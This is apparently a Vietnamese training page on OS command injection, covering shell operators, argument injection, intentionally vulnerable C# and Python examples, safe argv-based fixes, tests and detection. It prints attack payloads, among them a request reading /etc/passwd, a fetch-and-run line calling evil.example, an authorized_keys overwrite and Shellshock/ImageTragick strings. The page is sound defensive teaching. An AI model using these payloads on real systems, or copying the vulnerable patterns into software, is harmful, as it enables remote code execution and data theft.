Là gì
Command injection là lỗi khi input người dùng đi vào một lệnh shell và được shell đọc như CÚ PHÁP thay vì tham số. ;, |, &&, $(...), backtick và newline đều là toán tử của shell, nên một chuỗi chứa chúng không còn là một đối số mà trở thành lệnh thứ hai.
Vì sao bạn quan tâm
Đây là lỗi có hậu quả cao nhất trên mỗi dòng code: một chuỗi nối vào Process.Start hay os.system là thực thi code từ xa, không phải rò dữ liệu. Không cần leo thang, không cần chuỗi khai thác.
Điều đáng nhớ về nó là nó luôn nằm ở chỗ không ai coi là code xử lý input người dùng:
- chuyển đổi ảnh/video bằng
ffmpeg,imagemagick - xuất PDF bằng
wkhtmltopdf,pandoc - ping/traceroute trong trang chẩn đoán của admin
git clonemột URL người dùng dán vào- một job dọn dữ liệu chạy
rmtheo tên do người dùng đặt
Và bản vá thì đơn giản đến mức bất thường: đừng gọi shell. Truyền đối số dưới dạng mảng argv. Khi không có shell nào phân tích chuỗi thì không có toán tử nào để lợi dụng — đây là một trong rất ít lỗ hổng mà bản vá đúng lại ngắn hơn code lỗi.
Cơ chế hoạt động
Cơ chế nằm ở ai phân tích chuỗi. Có shell trong đường đi thì có một parser đọc toán tử; không có shell thì chuỗi chỉ là byte của một đối số.
flowchart TD I["host = 8.8.8.8; cat /etc/passwd"] --> Q{Có shell<br/>trong đường đi?} Q -->|"os.system / bash -c<br/>UseShellExecute = true"| SH["/bin/sh -c<br/>#quot;ping -c1 8.8.8.8; cat /etc/passwd#quot;"] SH --> P["sh thấy dấu ; → HAI lệnh"] P --> B["🔓 ping chạy, rồi cat chạy"] Q -->|"execve với mảng argv"| EX["execve(#quot;/usr/bin/ping#quot;,<br/>[#quot;ping#quot;,#quot;-c1#quot;,#quot;8.8.8.8; cat /etc/passwd#quot;])"] EX --> G["ping nhận MỘT đối số<br/>→ #quot;invalid host#quot;"]Điểm cốt lõi giống hệt SQL injection: ở nhánh an toàn, chuỗi độc hại vẫn tới nguyên vẹn. Nó không bị xoá ký tự nào — nó chỉ được đặt ở phía ĐỐI SỐ của ranh giới, và không có parser nào đọc nó.
Các toán tử mà một blocklist phải chặn hết — và đây là lý do blocklist thua:
| Toán tử | Ví dụ | Ghi chú | ||
|---|---|---|---|---|
; \n | 8.8.8.8; id | Newline hoạt động y hệt dấu chấm phẩy | ||
&& `\ | \ | &` | 8.8.8.8 && id | & còn chạy ngầm, không thấy output |
$(…) ` … ` | $(id) | Thay thế lệnh, chạy TRƯỚC lệnh chính | ||
| `\ | ` | `8.8.8.8 \ | id` | Pipe |
> < | x > /app/.ssh/authorized_keys | Ghi file — không cần output nào | ||
${IFS} | cat${IFS}/etc/passwd | Vòng qua bản vá "chặn dấu cách" |
Argument injection là biến thể ít được biết và không cần một toán tử nào: nếu đối số bắt đầu bằng -, nó thành một cờ. curl --output /app/x.php hay ssh -o ProxyCommand=… là RCE mà không có ký tự đặc biệt nào — nên -- trước đối số do người dùng đặt là một phần của bản vá.
Mô tả sơ đồ: Sơ đồ nhánh cho cùng một input "8.8.8.8; cat /etc/passwd". Nhánh có shell (os.system hoặc UseShellExecute) đưa chuỗi cho /bin/sh -c, sh thấy dấu chấm phẩy nên hiểu là hai lệnh và chạy cả cat. Nhánh dùng execve với mảng argv truyền chuỗi thành một đối số duy nhất, nên ping chỉ báo invalid host.
Ví dụ cụ thể
Trang chẩn đoán của admin: nhập host, server chạy ping và trả output.
POST /api/admin/diagnostics/ping HTTP/1.1Content-Type: application/json {"host":"8.8.8.8; cat /etc/passwd"}HTTP/1.1 200 OK PING 8.8.8.8: 56 data bytes64 bytes from 8.8.8.8: icmp_seq=0 ttl=118 time=12.4 ms root:x:0:0:root:/root:/bin/bashapp:x:1000:1000::/home/app:/bin/shBiến thể blind — không cần output nào trả về, chỉ cần ghi được file:
{"host":"x $(curl -s https://evil.example/s.sh | sh)"}Và argument injection, không có một ký tự đặc biệt nào:
{"host":"-c1 --output /app/wwwroot/x.aspx"}[HttpPost("/api/admin/diagnostics/ping")]public async Task<IActionResult> Ping([FromBody] PingRequest req){ // "Trang chẩn đoán nội bộ, chỉ admin dùng" là câu khiến đoạn này không bao giờ // được review kỹ. Nhưng admin là một tài khoản, và tài khoản thì bị chiếm. var psi = new ProcessStartInfo { FileName = "/bin/sh", // ❌ 1 — có shell. sh sẽ ĐỌC chuỗi này và tìm toán tử trong đó. // ❌ 2 — Arguments là một chuỗi: nó bị tách lại theo quy tắc của HĐH. Arguments = $"-c \"ping -c1 {req.Host}\"", UseShellExecute = false, // ❌ 3 — false, nhưng vô nghĩa: sh đã ở FileName RedirectStandardOutput = true, }; using var p = Process.Start(psi)!; var output = await p.StandardOutput.ReadToEndAsync(); await p.WaitForExitAsync(); return Ok(new { output });}@app.post("/api/convert")def convert(): src = request.json["filename"] # ❌ shell=True biến danh sách/chuỗi này thành đầu vào của /bin/sh. # filename = "a.png; curl evil|sh" là RCE, và đây là code chuyển đổi ảnh — # chỗ mà không ai nghĩ mình đang xử lý input người dùng. subprocess.run(f"convert /uploads/{src} -resize 200x200 /out/{src}", shell=True) return {"ok": True}Chuyện đã xảy ra
Shellshock — CVE-2014-6271, tháng 9/2014. Bash phân tích định nghĩa hàm nằm trong biến môi trường, và CGI đặt header HTTP vào biến môi trường. Nên một header User-Agent: () { :; }; /bin/id là RCE trên mọi web server có script CGI. Đáng đọc vì nó là ví dụ rõ nhất cho luận điểm ở khối 3: lỗi không nằm ở code ứng dụng nào cả, mà ở việc có một shell trong đường đi.
CVE-2021-44515 / họ lỗi ImageMagick "ImageTragick" (CVE-2016-3714). Delegate của ImageMagick truyền tên file vào một lệnh shell, nên một file .mvg chứa fill 'url(https://x/";curl evil|sh")' là RCE khi có người upload avatar. Bài học của khối 2 ở dạng thuần khiết: nơi lỗi sống là chỗ không ai gọi là "xử lý input".
Cách phòng chống
Đừng gọi shell — truyền mảng argv
bắt buộcĐây là toàn bộ bản vá, và nó ngắn hơn code lỗi. Không có shell nào phân tích chuỗi thì không có toán tử nào tồn tại.
- .NET:
ProcessStartInfovớiUseShellExecute = falsevà thêm từng đối số vàoArgumentList(không dùng thuộc tínhArgumentsdạng chuỗi — nó ghép rồi tự tách lại, và cách tách đó khác nhau giữa các HĐH). - Python:
subprocess.run([...], shell=False).shell=Falselà mặc định — vấn đề làos.systemvàshell=Truevẫn tồn tại và vẫn tiện hơn. - Node:
execFile/spawnvới mảng, khôngexec(nó luôn qua/bin/sh). - Go:
exec.Command(name, args...)không dùng shell theo mặc định — Go đúng ngay từ đầu ở chỗ này.
Và -- trước đối số do người dùng đặt: nó đóng argument injection, thứ không cần ký tự đặc biệt nào. Với lệnh không hỗ trợ --, phải kiểm đối số không bắt đầu bằng -.
/// <summary>/// Ba thứ, và thứ ba là thứ hay bị bỏ:////// 1. KHÔNG có shell — FileName là chính binary, không phải /bin/sh./// 2. ArgumentList, không phải Arguments: mỗi phần tử tới execve như MỘT đối số,/// không qua vòng ghép-rồi-tách nào./// 3. "--" trước đối số của người dùng, cộng một phép kiểm rằng nó không bắt đầu/// bằng "-". Argument injection không cần ký tự đặc biệt nào: "--output /app/x"/// đi qua mọi bản vá chỉ nghĩ tới ; và |./// </summary>public sealed class PingService{ // Đường dẫn TUYỆT ĐỐI. Tên trần phụ thuộc PATH, và PATH là thứ đổi được — qua // biến môi trường của container, qua một Dockerfile bị sửa, qua chính RCE này. private const string PingBinary = "/usr/bin/ping"; public async Task<string> PingAsync(string host, CancellationToken ct) { // Kiểm hình dạng: KHÔNG phải bản vá chính, chỉ là chặn sớm cho thông báo lỗi // tử tế. Bản vá chính là ArgumentList bên dưới, và nó đứng vững cả khi phép // kiểm này bị ai đó xoá đi trong lần refactor sau. if (host.Length is 0 or > 253 || host.StartsWith('-')) throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Invalid host"); var psi = new ProcessStartInfo { FileName = PingBinary, UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true, }; // Mỗi phần tử là MỘT đối số. Chuỗi "8.8.8.8; cat /etc/passwd" tới ping // nguyên vẹn — và ping trả lời "invalid host", đúng như một hostname sai. psi.ArgumentList.Add("-c"); psi.ArgumentList.Add("1"); psi.ArgumentList.Add("-W"); psi.ArgumentList.Add("2"); psi.ArgumentList.Add("--"); // mọi thứ sau đây là toán hạng, không phải cờ psi.ArgumentList.Add(host); using var p = Process.Start(psi) ?? throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Could not start ping"); // Timeout là bắt buộc: một lệnh treo giữ một thread và một process con mãi mãi, // và đó là DoS mà không cần lỗ hổng nào. using var timeout = CancellationTokenSource.CreateLinkedTokenSource(ct); timeout.CancelAfter(TimeSpan.FromSeconds(5)); var stdout = await p.StandardOutput.ReadToEndAsync(timeout.Token); try { await p.WaitForExitAsync(timeout.Token); } catch (OperationCanceledException) { p.Kill(entireProcessTree: true); throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Ping timed out"); } return stdout; }} // Và bản vá TỐT HƠN cho đúng trường hợp này: không có process con nào cả.// Phần lớn lời gọi shell trong web app tồn tại vì nó nhanh nhất, không vì nó là// cách duy nhất — .NET có sẵn ICMP trong thư viện chuẩn.public async Task<string> PingWithoutProcessAsync(string host, CancellationToken ct){ using var ping = new System.Net.NetworkInformation.Ping(); var reply = await ping.SendPingAsync(host, TimeSpan.FromSeconds(2), cancellationToken: ct); return $"{reply.Status} {reply.RoundtripTime}ms";}import reimport subprocessfrom pathlib import Path UPLOADS = Path("/uploads").resolve()OUT = Path("/out").resolve() # Tên file do người dùng đặt: allowlist HÌNH DẠNG. Đây không phải bản vá chính —# bản vá chính là mảng argv — nhưng nó chặn sớm và đóng luôn path traversal.SAFE_NAME = re.compile(r"^[A-Za-z0-9_-]{1,64}\.(png|jpe?g|webp)$") class UnsafeInput(Exception): pass def convert(filename: str) -> Path: if not SAFE_NAME.match(filename): raise UnsafeInput("bad filename") src = (UPLOADS / filename).resolve() dst = (OUT / filename).resolve() # Canonical hoá rồi so — xem topic path-traversal. SAFE_NAME đã chặn "../" # nhưng dựa vào một regex duy nhất là dựa vào việc không ai sửa nó. if not src.is_relative_to(UPLOADS) or not dst.is_relative_to(OUT): raise UnsafeInput("escapes directory") subprocess.run( [ "/usr/bin/convert", # đường dẫn tuyệt đối: không phụ thuộc PATH "--", # mọi thứ sau đây là toán hạng, không phải cờ str(src), "-resize", "200x200", str(dst), ], shell=False, # mặc định, nhưng viết ra để người đọc sau thấy là cố ý check=True, timeout=20, # lệnh treo là DoS không cần lỗ hổng nào capture_output=True, # stderr vào log, KHÔNG vào response ) return dstTốt hơn nữa: đừng gọi lệnh ngoài
Phần lớn lời gọi shell trong một web app tồn tại vì nó là cách nhanh nhất, không phải cách duy nhất. Ping có System.Net.NetworkInformation.Ping; resize ảnh có ImageSharp/Pillow trong process; nén file có System.IO.Compression. Không có process con nào thì không có bề mặt này.
Khi buộc phải gọi (ffmpeg, pandoc — không có thư viện tương đương), giữ allowlist tên lệnh và dùng đường dẫn tuyệt đối: /usr/bin/ffmpeg, không phải ffmpeg. Tên trần phụ thuộc PATH, và PATH là thứ có thể bị đổi.
Quyền tối thiểu cho process con
Lớp này quyết định RCE lấy được gì. Chạy service bằng user không phải root, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false, drop mọi Linux capability. Trên Kubernetes thêm seccompProfile: RuntimeDefault — nó chặn phần lớn syscall mà một payload cần.
Và egress: một RCE không gọi ra ngoài được thì không tải payload tiếp về được, và không đẩy dữ liệu ra được. Xem topic SSRF cho NetworkPolicy cụ thể.
Phát hiện: process con là một sự kiện đáng ghi
Một web app bình thường sinh rất ít process con, và tập tên lệnh của nó gần như không đổi. Nên execve với một tên lệnh ngoài allowlist là một tín hiệu độ nhiễu cực thấp — khác hẳn phần lớn alert bảo mật. Falco hoặc eBPF audit trên execve trong namespace của app, và alert khi thấy sh, curl, wget, nc, python mà app không bao giờ gọi.
Đây là lớp 3 vì nó không chặn gì — nhưng nó là thứ duy nhất trong trang cho bạn biết trong lúc nó đang xảy ra.
Kiểm chứng đã vá
1. Test đơn vị lấy BẢNG TOÁN TỬ ở khối 3 làm dữ liệu vào, và khẳng định đúng thứ cần: chuỗi độc hại tới được lệnh dưới dạng một đối số duy nhất. Test "không throw" là test mà một bản vá blocklist cũng pass. Xem tab csharp / test.
2. Grep chặn merge — phép kiểm có tỉ lệ hiệu quả cao nhất của topic này, vì các API nguy hiểm có tên hữu hạn và không đổi:
# .NET: Arguments dạng chuỗi và UseShellExecute = truegrep -rnE 'UseShellExecute *= *true|\.Arguments *=' --include='*.cs' src/ \ && { echo "shell hoặc Arguments dạng chuỗi — chặn"; exit 1; }# Python / Nodegrep -rnE 'os\.system|shell *= *True|child_process\.exec\(|\bexecSync\(' \ --include='*.py' --include='*.ts' --include='*.js' src/ \ && { echo "gọi shell — chặn"; exit 1; }exit 03. Kiểm ở runtime rằng process không sinh được shell (lớp 2):
# Trong container, các lệnh này PHẢI thất bại:docker exec app id -u | grep -qv '^0$' || { echo "đang chạy bằng root"; exit 1; }docker exec app touch /app/x && { echo "root fs ghi được"; exit 1; }docker exec app sh -c 'curl -m2 https://example.com' && { echo "egress mở"; exit 1; }exit 04. Test argument injection riêng. Đây là phép kiểm gần như không ai viết: gửi -c1 --output /tmp/pwned và khẳng định file không xuất hiện. Nếu test này pass mà bạn chưa thêm -- thì bản vá còn hở.
5. Alert execve có hoạt động thật. Chạy một lệnh ngoài allowlist trong staging và khẳng định alert nổ. Một quy tắc phát hiện chưa ai kích hoạt thử là một quy tắc chưa biết có chạy.
public class PingServiceTests{ private readonly PingService _svc = new(); /// <summary> /// Mỗi dòng là một hàng của bảng toán tử ở khối 3. Khẳng định ở đây là điểm chính: /// KHÔNG phải "không throw" (một bản vá blocklist cũng không throw) mà là /// "lệnh thứ hai KHÔNG chạy" — kiểm bằng tác dụng phụ mà lệnh đó sẽ để lại. /// </summary> [Theory] [InlineData("8.8.8.8; touch /tmp/seclab-pwned")] [InlineData("8.8.8.8 && touch /tmp/seclab-pwned")] [InlineData("8.8.8.8 | touch /tmp/seclab-pwned")] [InlineData("8.8.8.8\ntouch /tmp/seclab-pwned")] [InlineData("$(touch /tmp/seclab-pwned)")] [InlineData("`touch /tmp/seclab-pwned`")] [InlineData("x;touch${IFS}/tmp/seclab-pwned")] public async Task Second_command_never_runs(string host) { const string marker = "/tmp/seclab-pwned"; if (File.Exists(marker)) File.Delete(marker); // Lệnh có thể lỗi (host không hợp lệ) — điều đó bình thường và không phải // điều đang được kiểm. try { await _svc.PingAsync(host, default); } catch { /* mong đợi */ } Assert.False(File.Exists(marker), $"lệnh thứ hai đã chạy với payload: {host}"); } /// <summary> /// Argument injection: KHÔNG có một ký tự đặc biệt nào ở đây. Test này là lý do /// "--" tồn tại trong ArgumentList — bỏ dòng đó ra thì đúng test này đỏ. /// </summary> [Theory] [InlineData("-f")] // ping flood — DoS, không cần file nào [InlineData("--help")] [InlineData("-c1 --output /tmp/seclab-pwned")] public async Task Arguments_starting_with_dash_are_rejected(string host) { var ex = await Assert.ThrowsAsync<ApplicationGeneralException>( () => _svc.PingAsync(host, default)); Assert.Contains("Invalid host", ex.Message); } /// <summary>Cặp đôi: host thật vẫn phải chạy được, nếu không bản vá là "chặn tất".</summary> [Fact] public async Task Real_host_still_works() { var output = await _svc.PingAsync("127.0.0.1", default); Assert.Contains("127.0.0.1", output); }}Sai lầm thường gặp
| "Bản vá" | Vì sao không đúng | |
|---|---|---|
| Escape/quote chuỗi rồi vẫn qua shell | Quoting đúng cho sh không đúng cho cmd.exe; và $(…) vẫn hoạt động trong dấu ngoặc kép | |
Blocklist ; `\ | &` | Còn \n, $(…), backtick, ${IFS}, > — bảng ở khối 3 chưa kết thúc |
Arguments = $"ping -c1 {host}" trong .NET | Vẫn là một chuỗi bị tách lại, và cách tách khác nhau giữa Windows/Linux. ArgumentList mới là bản vá | |
| Kiểm regex "chỉ cho ký tự an toàn" | Là kiểm tốt để CÓ THÊM, nhưng nó không đóng argument injection: -c1 khớp mọi regex "chữ số và dấu gạch" | |
Dùng shlex.quote() | Đúng hơn tự escape, nhưng nó vẫn giả định shell POSIX và vẫn không chặn -flag. Bỏ shell đi thì không cần nó | |
| Chạy trong container nên "an toàn" | Container giới hạn thiệt hại (lớp 2), không chặn RCE. Và nếu chạy bằng root trong container thì nó giới hạn rất ít |
Sai lầm về phạm vi, phổ biến nhất: chỉ tìm ở chỗ có chữ "command". Lỗi thật nằm trong hàm resize ảnh, trong bước xuất PDF, trong git clone, trong một delegate của thư viện mà bạn không biết là nó gọi shell (ImageMagick chính là thế). Cách tìm đúng là grep các API sinh process, không grep chữ "command".
Sai lầm về mức độ: coi blind command injection là rủi ro thấp vì không thấy output. > /app/.ssh/authorized_keys không cần output nào.
Bình luận
Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.
Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.
Đang tải bình luận…